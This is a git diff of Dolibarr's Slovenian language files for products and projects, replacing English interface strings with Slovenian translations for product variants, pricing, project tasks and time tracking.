+GlobalVariableUpdaterHelpFormat0=Oblika za zahtevo {"URL": "http://example.com/urlofjson", "VALUE": "array1,array2,targetvalue"} GlobalVariableUpdaterType1=Podatki spletnih storitev GlobalVariableUpdaterHelp1=Razčleni podatke spletnih storitve iz specifičnega URL, NS doliča prostor za ime, VALUE določa lokacijo ustreznih podatkov, DATA mora vsebovati podatke za pošiljanje in METHOD je metoda za WS klicanje -GlobalVariableUpdaterHelpFormat1=Format for request is {"URL": "http://example.com/urlofws", "VALUE": "array,targetvalue", "NS": "http://example.com/urlofns", "METHOD": "myWSMethod", "DATA": {"your": "data", "to": "send"}} +GlobalVariableUpdaterHelpFormat1=Format za zahtevo je {"URL": "http://example.com/urlofws", "VALUE": "array,targetvalue", "NS": "http://example.com/urlofns", "METHOD" : "myWSMethod", "DATA": {"vaš": "podatki", "za": "pošlji"}} UpdateInterval=Interval posodobitve (minute) -LastUpdated=Latest update +LastUpdated=Najnovejša posodobitev CorrectlyUpdated=Pravilno posodobljeno PropalMergePdfProductActualFile=Datoteke za dodatek k PDF Azur so/je PropalMergePdfProductChooseFile=Izberi PDF datoteke -IncludingProductWithTag=Including products/services with the tag +IncludingProductWithTag=Vključno z izdelki/storitvami z oznako DefaultPriceRealPriceMayDependOnCustomer=Privzeta cena, dejanska cena je odvisna od kupca -WarningSelectOneDocument=Please select at least one document +WarningSelectOneDocument=Izberite vsaj en dokument DefaultUnitToShow=Enota -NbOfQtyInProposals=Qty in proposals -ClinkOnALinkOfColumn=Click on a link of column %s to get a detailed view... -ProductsOrServicesTranslations=Products/Services translations -TranslatedLabel=Translated label -TranslatedDescription=Translated description -TranslatedNote=Translated notes -ProductWeight=Weight for 1 product -ProductVolume=Volume for 1 product -WeightUnits=Weight unit -VolumeUnits=Volume unit -WidthUnits=Width unit -LengthUnits=Length unit -HeightUnits=Height unit -SurfaceUnits=Surface unit -SizeUnits=Size unit -DeleteProductBuyPrice=Delete buying price -ConfirmDeleteProductBuyPrice=Are you sure you want to delete this buying price? -SubProduct=Sub product -ProductSheet=Product sheet -ServiceSheet=Service sheet -PossibleValues=Possible values -GoOnMenuToCreateVairants=Go on menu %s - %s to prepare attribute variants (like colors, size, ...) -UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers -ProductSupplierDescription=Vendor description for the product -UseProductSupplierPackaging=Use packaging on supplier prices (recalculate quantities according to packaging set on supplier price when adding/updating line in supplier documents) -PackagingForThisProduct=Packaging -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity -QtyRecalculatedWithPackaging=The quantity of the line were recalculated according to supplier packaging +NbOfQtyInProposals=Količina v predlogih +ClinkOnALinkOfColumn=Kliknite na povezavo stolpca %s za podroben pogled... +ProductsOrServicesTranslations=Prevodi izdelkov/storitev +TranslatedLabel=Prevedena oznaka +TranslatedDescription=Preveden opis +TranslatedNote=Prevedene opombe +ProductWeight=Teža za 1 izdelek +ProductVolume=Volumen za 1 izdelek +WeightUnits=Enota teže +VolumeUnits=Enota prostornine +WidthUnits=Enota za širino +LengthUnits=Dolžinska enota +HeightUnits=Višinska enota +SurfaceUnits=Površinska enota +SizeUnits=Enota velikosti +DeleteProductBuyPrice=Izbriši nakupno ceno +ConfirmDeleteProductBuyPrice=Ali ste prepričani, da želite izbrisati to nakupno ceno? +SubProduct=Podizdelek +ProductSheet=List izdelka +ServiceSheet=Servisni list +PossibleValues=Možne vrednosti +GoOnMenuToCreateVairants=Pojdite na meni %s - %s, da pripravite različice atributov (kot so barve, velikost, ...) +UseProductFournDesc=Dodajte funkcijo za določitev opisa izdelka, ki ga določijo dobavitelji (za vsako referenco prodajalca), poleg opisa za stranke +ProductSupplierDescription=Opis prodajalca za izdelek +UseProductSupplierPackaging=Uporabite embalažo za cene, zaokrožene na večkratnike za nakupne cene (ponovno izračunajte količine glede na večkratnike, določene na nabavnih cenah, ko dodajate/posodabljate vrstico v dokumentih prodajalca) +PackagingForThisProduct=Pakiranje +PackagingForThisProductDesc=Samodejno boste kupili večkratnik te količine. +QtyRecalculatedWithPackaging=Količina linije je bila preračunana glede na embalažo dobavitelja #Attributes -VariantAttributes=Variant attributes -ProductAttributes=Variant attributes for products -ProductAttributeName=Variant attribute %s -ProductAttribute=Variant attribute -ProductAttributeDeleteDialog=Are you sure you want to delete this attribute? All values will be deleted -ProductAttributeValueDeleteDialog=Are you sure you want to delete the value "%s" with reference "%s" of this attribute? -ProductCombinationDeleteDialog=Are you sure want to delete the variant of the product "%s"? -ProductCombinationAlreadyUsed=There was an error while deleting the variant. Please check it is not being used in any object -ProductCombinations=Variants -PropagateVariant=Propagate variants -HideProductCombinations=Hide products variant in the products selector -ProductCombination=Variant -NewProductCombination=New variant -EditProductCombination=Editing variant -NewProductCombinations=New variants -EditProductCombinations=Editing variants -SelectCombination=Select combination -ProductCombinationGenerator=Variants generator -Features=Features -PriceImpact=Price impact -ImpactOnPriceLevel=Impact on price level %s -ApplyToAllPriceImpactLevel= Apply to all levels -ApplyToAllPriceImpactLevelHelp=By clicking here you set the same price impact on all levels -WeightImpact=Weight impact +VariantAttributes=Variantni atributi +ProductAttributes=Različni atributi za izdelke +ProductAttributeName=Atribut različice %s +ProductAttribute=Variantni atribut +ProductAttributeDeleteDialog=Ali ste prepričani, da želite izbrisati ta atribut? Vse vrednosti bodo izbrisane +ProductAttributeValueDeleteDialog=Ali ste prepričani, da želite izbrisati vrednost "%s" s sklicevanjem na "%s" tega atributa? +ProductCombinationDeleteDialog=Ali ste prepričani, da želite izbrisati različico izdelka " %s "? +ProductCombinationAlreadyUsed=Med brisanjem različice je prišlo do napake. Preverite, ali se ne uporablja v nobenem objektu +ProductCombinations=Različice +PropagateVariant=Razmnožite variante +HideProductCombinations=Skrij različico izdelkov v izbirniku izdelkov +ProductCombination=Različica +NewProductCombination=Nova varianta +EditProductCombination=Varianta urejanja +NewProductCombinations=Nove variante +EditProductCombinations=Variante urejanja +SelectCombination=Izberite kombinacijo +ProductCombinationGenerator=Generator variant +Features=Lastnosti +PriceImpact=Vpliv na ceno +ImpactOnPriceLevel=Vpliv na raven cen %s +ApplyToAllPriceImpactLevel= Uporabi za vse ravni +ApplyToAllPriceImpactLevelHelp=S klikom tukaj nastavite enak vpliv cene na vseh ravneh +WeightImpact=Vpliv teže NewProductAttribute=Nov atribut -NewProductAttributeValue=New attribute value -ErrorCreatingProductAttributeValue=There was an error while creating the attribute value. It could be because there is already an existing value with that reference -ProductCombinationGeneratorWarning=If you continue, before generating new variants, all previous ones will be DELETED. Already existing ones will be updated with the new values -TooMuchCombinationsWarning=Generating lots of variants may result in high CPU, memory usage and Dolibarr not able to create them. Enabling the option "%s" may help reduce memory usage. -DoNotRemovePreviousCombinations=Do not remove previous variants -UsePercentageVariations=Use percentage variations -PercentageVariation=Percentage variation -ErrorDeletingGeneratedProducts=There was an error while trying to delete existing product variants -NbOfDifferentValues=No. of different values -NbProducts=Number of products -ParentProduct=Parent product -HideChildProducts=Hide variant products -ShowChildProducts=Show variant products -NoEditVariants=Go to Parent product card and edit variants price impact in the variants tab -ConfirmCloneProductCombinations=Would you like to copy all the product variants to the other parent product with the given reference? -CloneDestinationReference=Destination product reference -ErrorCopyProductCombinations=There was an error while copying the product variants -ErrorDestinationProductNotFound=Destination product not found -ErrorProductCombinationNotFound=Product variant not found -ActionAvailableOnVariantProductOnly=Action only available on the variant of product -ProductsPricePerCustomer=Product prices per customers -ProductSupplierExtraFields=Additional Attributes (Supplier Prices) -DeleteLinkedProduct=Delete the child product linked to the combination -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +NewProductAttributeValue=Nova vrednost atributa +ErrorCreatingProductAttributeValue=Med ustvarjanjem vrednosti atributa je prišlo do napake. Morda zato, ker že obstaja obstoječa vrednost s to referenco +ProductCombinationGeneratorWarning=Če nadaljujete, bodo pred generiranjem novih različic vse prejšnje IZBRISANE. Že obstoječe bodo posodobljene z novimi vrednostmi +TooMuchCombinationsWarning=Ustvarjanje številnih različic lahko povzroči visoko porabo procesorja, pomnilnika in jih Dolibarr ne more ustvariti. Če omogočite možnost "%s", lahko zmanjšate porabo pomnilnika. +DoNotRemovePreviousCombinations=Ne odstranjujte prejšnjih različic +UsePercentageVariations=Uporabite odstotne razlike +PercentageVariation=Odstotek variacije +ErrorDeletingGeneratedProducts=Pri poskusu brisanja obstoječih različic izdelka je prišlo do napake +NbOfDifferentValues=Št. različnih vrednosti +NbProducts=Število izdelkov +ParentProduct=Matični izdelek +HideChildProducts=Skrij variantne izdelke +ShowChildProducts=Pokaži različne izdelke +NoEditVariants=Pojdite na kartico Nadrejeni izdelek in uredite vpliv različic na ceno na zavihku različic +ConfirmCloneProductCombinations=Ali želite kopirati vse različice izdelka v drugi matični izdelek z dano referenco? +CloneDestinationReference=Referenca ciljnega izdelka +ErrorCopyProductCombinations=Med kopiranjem različic izdelka je prišlo do napake +ErrorDestinationProductNotFound=Ciljni izdelek ni bil najden +ErrorProductCombinationNotFound=Različica izdelka ni bila najdena +ActionAvailableOnVariantProductOnly=Akcija je na voljo samo za različico izdelka +ProductsPricePerCustomer=Cene izdelkov na stranko +ProductSupplierExtraFields=Dodatni atributi (cene dobaviteljev) +DeleteLinkedProduct=Izbrišite podrejeni izdelek, povezan s kombinacijo +AmountUsedToUpdateWAP=Znesek enote za posodobitev tehtane povprečne cene PMPValue=Uravnotežena povprečna cena PMPValueShort=UPC -mandatoryperiod=Mandatory periods -mandatoryPeriodNeedTobeSet=Note: Period (start and end date) must be defined -mandatoryPeriodNeedTobeSetMsgValidate=A service requires a start and end period -mandatoryHelper=Check this if you want a message to the user when creating / validating an invoice, commercial proposal, sales order without entering a start and end date on lines with this service.
      Note that the message is a warning and not a blocking error. -DefaultBOM=Default BOM -DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. +mandatoryperiod=Obvezna obdobja +mandatoryPeriodNeedTobeSet=Opomba: Določiti je treba obdobje (začetni in končni datum). +mandatoryPeriodNeedTobeSetMsgValidate=Storitev zahteva začetno in končno obdobje +mandatoryHelper=Označite to, če želite sporočilo uporabniku pri ustvarjanju/potrjevanju računa, komercialnega predloga, prodajnega naročila brez vnosa začetnega in končnega datuma v vrsticah s to storitvijo.
      Upoštevajte, da je sporočilo opozorilo in ne napaka pri blokiranju. +DefaultBOM=Privzeta kosovnica +DefaultBOMDesc=Privzeta kosovnica, ki se priporoča za izdelavo tega izdelka. To polje je mogoče nastaviti le, če je narava izdelka '%s'. Rank=Rank -SwitchOnSaleStatus=Switch on sale status -SwitchOnPurchaseStatus=Switch on purchase status -StockMouvementExtraFields= Extra Fields (stock mouvement) +MergeOriginProduct=Podvojen izdelek (izdelek, ki ga želite izbrisati) +MergeProducts=Združite izdelke +ConfirmMergeProducts=Ali ste prepričani, da želite združiti izbrani izdelek s trenutnim? Vsi povezani objekti (računi, naročila, ...) bodo premaknjeni na trenutni izdelek, nato pa bo izbrani izdelek izbrisan. +ProductsMergeSuccess=Izdelki so bili združeni +ErrorsProductsMerge=Napake v izdelkih se združijo +SwitchOnSaleStatus=Vklopite status prodaje +SwitchOnPurchaseStatus=Vklopite status nakupa +UpdatePrice=Increase/decrease customer price +StockMouvementExtraFields= Dodatna polja (gibanje delnic) +InventoryExtraFields= Dodatna polja (popis) +ScanOrTypeOrCopyPasteYourBarCodes=Skenirajte ali vnesite ali kopirajte/prilepite svoje črtne kode +PuttingPricesUpToDate=Posodobite cene s trenutno znanimi cenami +PMPExpected=Pričakovan PMP +ExpectedValuation=Pričakovano vrednotenje +PMPReal=Pravi PMP +RealValuation=Pravo vrednotenje +ConfirmEditExtrafield = Izberite dodatno polje, ki ga želite spremeniti +ConfirmEditExtrafieldQuestion = Ali ste prepričani, da želite spremeniti to dodatno polje? +ModifyValueExtrafields = Spremenite vrednost dodatnega polja +OrProductsWithCategories=Ali izdelki z oznakami/kategorijami diff --git a/htdocs/langs/sl_SI/projects.lang b/htdocs/langs/sl_SI/projects.lang index fa618707c71..2f9fe087ead 100644 --- a/htdocs/langs/sl_SI/projects.lang +++ b/htdocs/langs/sl_SI/projects.lang @@ -1,65 +1,68 @@ # Dolibarr language file - Source file is en_US - projects -RefProject=Ref. project -ProjectRef=Project ref. +RefProject=Ref. projekt +ProjectRef=Ref. projekta ProjectId=Id projekta -ProjectLabel=Project label -ProjectsArea=Projects Area -ProjectStatus=Project status +ProjectLabel=Oznaka projekta +ProjectsArea=Območje projektov +ProjectStatus=Status projekta SharedProject=Projekti v skupni rabi -PrivateProject=Assigned contacts -ProjectsImContactFor=Projects for which I am explicitly a contact -AllAllowedProjects=All project I can read (mine + public) +PrivateProject=Dodeljeni kontakti +ProjectsImContactFor=Projekti, za katere sem izrecno kontaktna oseba +AllAllowedProjects=Vsi projekti, ki jih lahko preberem (moj + javni) AllProjects=Vsi projekti -MyProjectsDesc=This view is limited to the projects that you are a contact for +MyProjectsDesc=Ta pogled je omejen na projekte, za katere ste kontakt ProjectsPublicDesc=To pogled predstavlja vse projekte, za katere imate dovoljenje za branje. -TasksOnProjectsPublicDesc=This view presents all tasks on projects you are allowed to read. +TasksOnProjectsPublicDesc=Ta pogled predstavlja vse naloge na projektih, ki jih lahko berete. ProjectsPublicTaskDesc=Ta pogled predstavlja vse projekte in naloge, za katere imate dovoljenje za branje. ProjectsDesc=Ta pogled predstavlja vse projekte (vaše uporabniško dovoljenje vam omogoča ogled vseh). -TasksOnProjectsDesc=This view presents all tasks on all projects (your user permissions grant you permission to view everything). -MyTasksDesc=This view is limited to the projects or tasks that you are a contact for -OnlyOpenedProject=Only open projects are visible (projects in draft or closed status are not visible). -ClosedProjectsAreHidden=Closed projects are not visible. +TasksOnProjectsDesc=Ta pogled predstavlja vse naloge na vseh projektih (vaša uporabniška dovoljenja vam dajejo dovoljenje za ogled vsega). +MyTasksDesc=Ta pogled je omejen na projekte ali naloge, za katere ste kontakt +OnlyOpenedProject=Vidni so samo odprti projekti (projekti v osnutku ali zaprtem statusu niso vidni). +ClosedProjectsAreHidden=Zaprti projekti niso vidni. TasksPublicDesc=Ta pogled predstavlja vse projekte in naloge, za katere imate dovoljenje za branje. TasksDesc=Ta pogled predstavlja vse projekte in naloge (vaše uporabniško dovoljenje vam omogoča ogled vseh). -AllTaskVisibleButEditIfYouAreAssigned=All tasks for qualified projects are visible, but you can enter time only for task assigned to selected user. Assign task if you need to enter time on it. -OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. -ImportDatasetTasks=Tasks of projects -ProjectCategories=Project tags/categories +AllTaskVisibleButEditIfYouAreAssigned=Vidna so vsa opravila za kvalificirane projekte, vendar lahko vnesete čas samo za opravilo, ki je dodeljeno izbranemu uporabniku. Dodelite nalogo, če ji morate vnesti čas. +OnlyYourTaskAreVisible=Vidna so le opravila, ki so vam dodeljena. Če morate pri opravilu vnesti čas in opravilo tukaj ni vidno, potem morate opravilo dodeliti sebi. +ImportDatasetProjects=Projects or opportunities +ImportDatasetTasks=Naloge projektov +ProjectCategories=Projektne oznake/kategorije NewProject=Nov projekt AddProject=Ustvari projekt DeleteAProject=Izbriši projekt DeleteATask=Izbriši nalogo -ConfirmDeleteAProject=Are you sure you want to delete this project? -ConfirmDeleteATask=Are you sure you want to delete this task? -OpenedProjects=Open projects -OpenedTasks=Open tasks -OpportunitiesStatusForOpenedProjects=Leads amount of open projects by status -OpportunitiesStatusForProjects=Leads amount of projects by status +ConfirmDeleteAProject=Ali ste prepričani, da želite izbrisati ta projekt? +ConfirmDeleteATask=Ali ste prepričani, da želite izbrisati to opravilo? +OpenedProjects=Odprti projekti +OpenedTasks=Odprte naloge +OpportunitiesStatusForOpenedProjects=Vodi število odprtih projektov po statusu +OpportunitiesStatusForProjects=Vodi količino projektov po statusu ShowProject=Prikaži projekt ShowTask=Prikaži naloge +SetThirdParty=Nastavite partnerja SetProject=Nastavi projekt +OutOfProject=Izven projekta NoProject=Nimate definiranega ali lastnega projekta -NbOfProjects=Number of projects -NbOfTasks=Number of tasks +NbOfProjects=Število projektov +NbOfTasks=Število nalog TimeSpent=Porabljen čas -TimeSpentByYou=Time spent by you -TimeSpentByUser=Time spent by user +TimeSpentByYou=Čas, ki ga porabite vi +TimeSpentByUser=Čas, ki ga porabi uporabnik TimesSpent=Porabljen čas -TaskId=Task ID -RefTask=Task ref. -LabelTask=Task label -TaskTimeSpent=Time spent on tasks +TaskId=ID opravila +RefTask=Naloga ref. +LabelTask=Oznaka opravila +TaskTimeSpent=Čas, porabljen za naloge TaskTimeUser=Uporabnik TaskTimeNote=Beležka TaskTimeDate=Datum -TasksOnOpenedProject=Tasks on open projects -WorkloadNotDefined=Workload not defined +TasksOnOpenedProject=Naloge na odprtih projektih +WorkloadNotDefined=Obremenitev ni definirana NewTimeSpent=Porabljen čas MyTimeSpent=Moj porabljen čas -BillTime=Bill the time spent -BillTimeShort=Bill time -TimeToBill=Time not billed -TimeBilled=Time billed +BillTime=Zaračunajte porabljen čas +BillTimeShort=Čas računa +TimeToBill=Čas ni zaračunan +TimeBilled=Obračunan čas Tasks=Naloge Task=Naloga TaskDateStart=Datum začetka naloge @@ -67,80 +70,81 @@ TaskDateEnd=Datum konca naloge TaskDescription=Opis naloge NewTask=Nova naloga AddTask=Ustvari nalogo -AddTimeSpent=Create time spent -AddHereTimeSpentForDay=Add here time spent for this day/task -AddHereTimeSpentForWeek=Add here time spent for this week/task +AddTimeSpent=Ustvari porabljen čas +AddHereTimeSpentForDay=Sem dodajte čas, porabljen za ta dan/nalogo +AddHereTimeSpentForWeek=Sem dodajte čas, porabljen za ta teden/nalogo Activity=Aktivnost Activities=Naloge/aktivnosti MyActivities=Moje naloge/aktivnosti MyProjects=Moji projekti -MyProjectsArea=My projects Area +MyProjectsArea=Področje mojih projektov DurationEffective=Efektivno trajanje -ProgressDeclared=Declared real progress -TaskProgressSummary=Task progress -CurentlyOpenedTasks=Curently open tasks -TheReportedProgressIsLessThanTheCalculatedProgressionByX=The declared real progress is less %s than the progress on consumption -TheReportedProgressIsMoreThanTheCalculatedProgressionByX=The declared real progress is more %s than the progress on consumption -ProgressCalculated=Progress on consumption -WhichIamLinkedTo=which I'm linked to -WhichIamLinkedToProject=which I'm linked to project +ProgressDeclared=Razglašen pravi napredek +TaskProgressSummary=Napredek naloge +CurentlyOpenedTasks=Trenutno odprte naloge +TheReportedProgressIsLessThanTheCalculatedProgressionByX=Deklarirani dejanski napredek je manjši %s od napredka pri porabi +TheReportedProgressIsMoreThanTheCalculatedProgressionByX=Deklarirani dejanski napredek je večji %s kot napredek pri porabi +ProgressCalculated=Napredek pri porabi +WhichIamLinkedTo=s katerim sem povezan +WhichIamLinkedToProject=s katerim sem povezan s projektom Time=Čas -TimeConsumed=Consumed -ListOfTasks=List of tasks -GoToListOfTimeConsumed=Go to list of time consumed -GanttView=Gantt View -ListWarehouseAssociatedProject=List of warehouses associated to the project -ListProposalsAssociatedProject=List of the commercial proposals related to the project -ListOrdersAssociatedProject=List of sales orders related to the project -ListInvoicesAssociatedProject=List of customer invoices related to the project -ListPredefinedInvoicesAssociatedProject=List of customer template invoices related to the project -ListSupplierOrdersAssociatedProject=List of purchase orders related to the project -ListSupplierInvoicesAssociatedProject=List of vendor invoices related to the project -ListContractAssociatedProject=List of contracts related to the project -ListShippingAssociatedProject=List of shippings related to the project -ListFichinterAssociatedProject=List of interventions related to the project -ListExpenseReportsAssociatedProject=List of expense reports related to the project -ListDonationsAssociatedProject=List of donations related to the project -ListVariousPaymentsAssociatedProject=List of miscellaneous payments related to the project -ListSalariesAssociatedProject=List of payments of salaries related to the project -ListActionsAssociatedProject=List of events related to the project -ListMOAssociatedProject=List of manufacturing orders related to the project -ListTaskTimeUserProject=List of time consumed on tasks of project -ListTaskTimeForTask=List of time consumed on task -ActivityOnProjectToday=Activity on project today -ActivityOnProjectYesterday=Activity on project yesterday +TimeConsumed=Porabljeno +ListOfTasks=Seznam nalog +GoToListOfTimeConsumed=Pojdite na seznam porabljenega časa +GanttView=Ganttov pogled +ListWarehouseAssociatedProject=Seznam skladišč, povezanih s projektom +ListProposalsAssociatedProject=Seznam komercialnih predlogov, povezanih s projektom +ListOrdersAssociatedProject=Seznam prodajnih naročil, povezanih s projektom +ListInvoicesAssociatedProject=Seznam računov strank, povezanih s projektom +ListPredefinedInvoicesAssociatedProject=Seznam predlog računov strank, povezanih s projektom +ListSupplierOrdersAssociatedProject=Seznam naročilnic, povezanih s projektom +ListSupplierInvoicesAssociatedProject=Seznam prejetih računov, ki so povezani s projektom +ListContractAssociatedProject=Seznam pogodb v zvezi s projektom +ListShippingAssociatedProject=Seznam pošiljk, povezanih s projektom +ListFichinterAssociatedProject=Seznam posegov v zvezi s projektom +ListExpenseReportsAssociatedProject=Seznam poročil o stroških, povezanih s projektom +ListDonationsAssociatedProject=Seznam donacij, povezanih s projektom +ListVariousPaymentsAssociatedProject=Seznam raznih plačil, povezanih s projektom +ListSalariesAssociatedProject=Seznam izplačil plač v zvezi s projektom +ListActionsAssociatedProject=Seznam dogodkov, povezanih s projektom +ListMOAssociatedProject=Seznam proizvodnih naročil, povezanih s projektom +ListTaskTimeUserProject=Seznam časa, porabljenega za naloge projekta +ListTaskTimeForTask=Seznam časa, porabljenega za nalogo +ActivityOnProjectToday=Današnja aktivnost na projektu +ActivityOnProjectYesterday=Aktivnost na projektu včeraj ActivityOnProjectThisWeek=Aktivnosti na projektu v tem tednu ActivityOnProjectThisMonth=Aktivnosti na projektu v tem mesecu ActivityOnProjectThisYear=Aktivnosti na projektu v tem letu ChildOfProjectTask=Podrejen projektu/nalogi -ChildOfTask=Child of task -TaskHasChild=Task has child +ChildOfTask=Otrok naloge +TaskHasChild=Naloga ima otroka NotOwnerOfProject=Niste lastnik tega zasebnega projekta AffectedTo=Učinkuje na -CantRemoveProject=This project can't be removed as it is referenced by some other objects (invoice, orders or other). See tab '%s'. +CantRemoveProject=Tega projekta ni mogoče odstraniti, ker se nanj sklicujejo nekateri drugi objekti (računi, naročila ali drugo). Glej zavihek '%s'. ValidateProject=Potrdite projekt -ConfirmValidateProject=Are you sure you want to validate this project? +ConfirmValidateProject=Ali ste prepričani, da želite potrditi ta projekt? CloseAProject=Zaprite projekt -ConfirmCloseAProject=Are you sure you want to close this project? -AlsoCloseAProject=Also close project (keep it open if you still need to follow production tasks on it) +ConfirmCloseAProject=Ali ste prepričani, da želite zapreti ta projekt? +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Odprite projekt -ConfirmReOpenAProject=Are you sure you want to re-open this project? +ConfirmReOpenAProject=Ali ste prepričani, da želite znova odpreti ta projekt? ProjectContact=Privatni projekti -TaskContact=Task contacts +TaskContact=Kontakti nalog ActionsOnProject=Aktivnosti o projektu YouAreNotContactOfProject=Niste kontakt tega privatnega projekta -UserIsNotContactOfProject=User is not a contact of this private project +UserIsNotContactOfProject=Uporabnik ni kontakt tega zasebnega projekta DeleteATimeSpent=Izbrišite porabljen čas -ConfirmDeleteATimeSpent=Are you sure you want to delete this time spent? -DoNotShowMyTasksOnly=See also tasks not assigned to me -ShowMyTasksOnly=View only tasks assigned to me -TaskRessourceLinks=Contacts of task +ConfirmDeleteATimeSpent=Ali ste prepričani, da želite izbrisati ta porabljen čas? +DoNotShowMyTasksOnly=Glej tudi naloge, ki mi niso dodeljene +ShowMyTasksOnly=Prikaži samo naloge, ki so mi dodeljene +TaskRessourceLinks=Kontakti naloge ProjectsDedicatedToThisThirdParty=Projekti, ki so povezani s tem partnerjem NoTasks=Ni nalog za ta projekt LinkedToAnotherCompany=Povezane z drugimi partnerji -TaskIsNotAssignedToUser=Task not assigned to user. Use button '%s' to assign task now. +TaskIsNotAssignedToUser=Naloga ni dodeljena uporabniku. Uporabite gumb ' %s ', da zdaj dodelite nalogo. ErrorTimeSpentIsEmpty=Ni porabljenega časa -TimeRecordingRestrictedToNMonthsBack=Time recording is restricted to %s months back +TimeRecordingRestrictedToNMonthsBack=Čas snemanja je omejen na %s mesecev nazaj ThisWillAlsoRemoveTasks=Ta aktivnost bo tudi izbrisala vse naloge projekta (%s trenutne naloge) in vse vnose porabljenega časa. IfNeedToUseOtherObjectKeepEmpty=Če nekateri objekti (računi, naročila, ...), ki pripadajo drugemu partnerju, morajo biti vezani na projekt, ki se kreira, pustite polje prazno, da je projekt lahko vezan na več partnerjev. CloneTasks=Kloniraj naloge @@ -148,28 +152,28 @@ CloneContacts=Kloniraj kontakte CloneNotes=Kloniraj opombe CloneProjectFiles=Kloniraj skupne datoteke projekta CloneTaskFiles=Kloniraj skupno(e) datoteko(e) naloge (če je bila naloga klonirana) -CloneMoveDate=Update project/tasks dates from now? -ConfirmCloneProject=Are you sure to clone this project? -ProjectReportDate=Change task dates according to new project start date +CloneMoveDate=Želite posodobiti datume projektov/opravil? +ConfirmCloneProject=Ste prepričani, da želite klonirati ta projekt? +ProjectReportDate=Spremenite datume nalog v skladu z novim datumom začetka projekta ErrorShiftTaskDate=Nemogoče je spremeniti datum naloge glede na nov začetni datum projekta ProjectsAndTasksLines=Projekti in naloge ProjectCreatedInDolibarr=Projekt %s je bil ustvarjen -ProjectValidatedInDolibarr=Project %s validated -ProjectModifiedInDolibarr=Project %s modified -TaskCreatedInDolibarr=Task %s created -TaskModifiedInDolibarr=Task %s modified -TaskDeletedInDolibarr=Task %s deleted -OpportunityStatus=Lead status -OpportunityStatusShort=Lead status -OpportunityProbability=Lead probability -OpportunityProbabilityShort=Lead probab. -OpportunityAmount=Lead amount -OpportunityAmountShort=Lead amount -OpportunityWeightedAmount=Opportunity weighted amount -OpportunityWeightedAmountShort=Opp. weighted amount -OpportunityAmountAverageShort=Average lead amount -OpportunityAmountWeigthedShort=Weighted lead amount -WonLostExcluded=Won/Lost excluded +ProjectValidatedInDolibarr=Projekt %s potrjen +ProjectModifiedInDolibarr=Projekt %s spremenjen +TaskCreatedInDolibarr=Naloga %s ustvarjena +TaskModifiedInDolibarr=Naloga %s spremenjena +TaskDeletedInDolibarr=Naloga %s izbrisana +OpportunityStatus=Stanje potencialne stranke +OpportunityStatusShort=Stanje potencialne stranke +OpportunityProbability=Verjetnost svinca +OpportunityProbabilityShort=Svinec verjetno. +OpportunityAmount=Znesek potencialne stranke +OpportunityAmountShort=Znesek potencialne stranke +OpportunityWeightedAmount=Amount of opportunity, weighted by probability +OpportunityWeightedAmountShort=Opp. uteženi znesek +OpportunityAmountAverageShort=Povprečna možna količina +OpportunityAmountWeigthedShort=Ponderirana količina svinca +WonLostExcluded=Zmaga/izguba izključena ##### Types de contacts ##### TypeContact_project_internal_PROJECTLEADER=Vodja projekta TypeContact_project_external_PROJECTLEADER=Vodja projekta @@ -181,116 +185,117 @@ TypeContact_project_task_internal_TASKCONTRIBUTOR=Sodelavec TypeContact_project_task_external_TASKCONTRIBUTOR=Sodelavec SelectElement=Izberi element AddElement=Povezava do elementa -LinkToElementShort=Link to +LinkToElementShort=Povezava do # Documents models -DocumentModelBeluga=Project document template for linked objects overview -DocumentModelBaleine=Project document template for tasks -DocumentModelTimeSpent=Project report template for time spent +DocumentModelBeluga=Predloga projektnega dokumenta za pregled povezanih objektov +DocumentModelBaleine=Predloga projektnega dokumenta za naloge +DocumentModelTimeSpent=Predloga poročila o projektu za porabljen čas PlannedWorkload=Planirana delovna obremenitev -PlannedWorkloadShort=Workload -ProjectReferers=Related items +PlannedWorkloadShort=Delovna obremenitev +ProjectReferers=Sorodni predmeti ProjectMustBeValidatedFirst=Projekt mora biti najprej potrjen -MustBeValidatedToBeSigned=%s must be validated first to be set to Signed. -FirstAddRessourceToAllocateTime=Assign a user resource as contact of project to allocate time -InputPerDay=Input per day -InputPerWeek=Input per week -InputPerMonth=Input per month -InputDetail=Input detail -TimeAlreadyRecorded=This is time spent already recorded for this task/day and user %s -ProjectsWithThisUserAsContact=Projects with this user as contact -ProjectsWithThisContact=Projects with this contact -TasksWithThisUserAsContact=Tasks assigned to this user -ResourceNotAssignedToProject=Not assigned to project -ResourceNotAssignedToTheTask=Not assigned to the task -NoUserAssignedToTheProject=No users assigned to this project -TimeSpentBy=Time spent by -TasksAssignedTo=Tasks assigned to -AssignTaskToMe=Assign task to myself -AssignTaskToUser=Assign task to %s -SelectTaskToAssign=Select task to assign... -AssignTask=Assign -ProjectOverview=Overview -ManageTasks=Use projects to follow tasks and/or report time spent (timesheets) -ManageOpportunitiesStatus=Use projects to follow leads/opportinuties -ProjectNbProjectByMonth=No. of created projects by month -ProjectNbTaskByMonth=No. of created tasks by month -ProjectOppAmountOfProjectsByMonth=Amount of leads by month -ProjectWeightedOppAmountOfProjectsByMonth=Weighted amount of leads by month -ProjectOpenedProjectByOppStatus=Open project|lead by lead status -ProjectsStatistics=Statistics on projects or leads -TasksStatistics=Statistics on tasks of projects or leads -TaskAssignedToEnterTime=Task assigned. Entering time on this task should be possible. -IdTaskTime=Id task time -YouCanCompleteRef=If you want to complete the ref with some suffix, it is recommanded to add a - character to separate it, so the automatic numbering will still work correctly for next projects. For example %s-MYSUFFIX -OpenedProjectsByThirdparties=Open projects by third parties -OnlyOpportunitiesShort=Only leads -OpenedOpportunitiesShort=Open leads -NotOpenedOpportunitiesShort=Not an open lead -NotAnOpportunityShort=Not a lead -OpportunityTotalAmount=Total amount of leads -OpportunityPonderatedAmount=Weighted amount of leads -OpportunityPonderatedAmountDesc=Leads amount weighted with probability -OppStatusPROSP=Prospection -OppStatusQUAL=Qualification +MustBeValidatedToBeSigned=%s mora biti najprej preverjen, da je nastavljen na Podpisano. 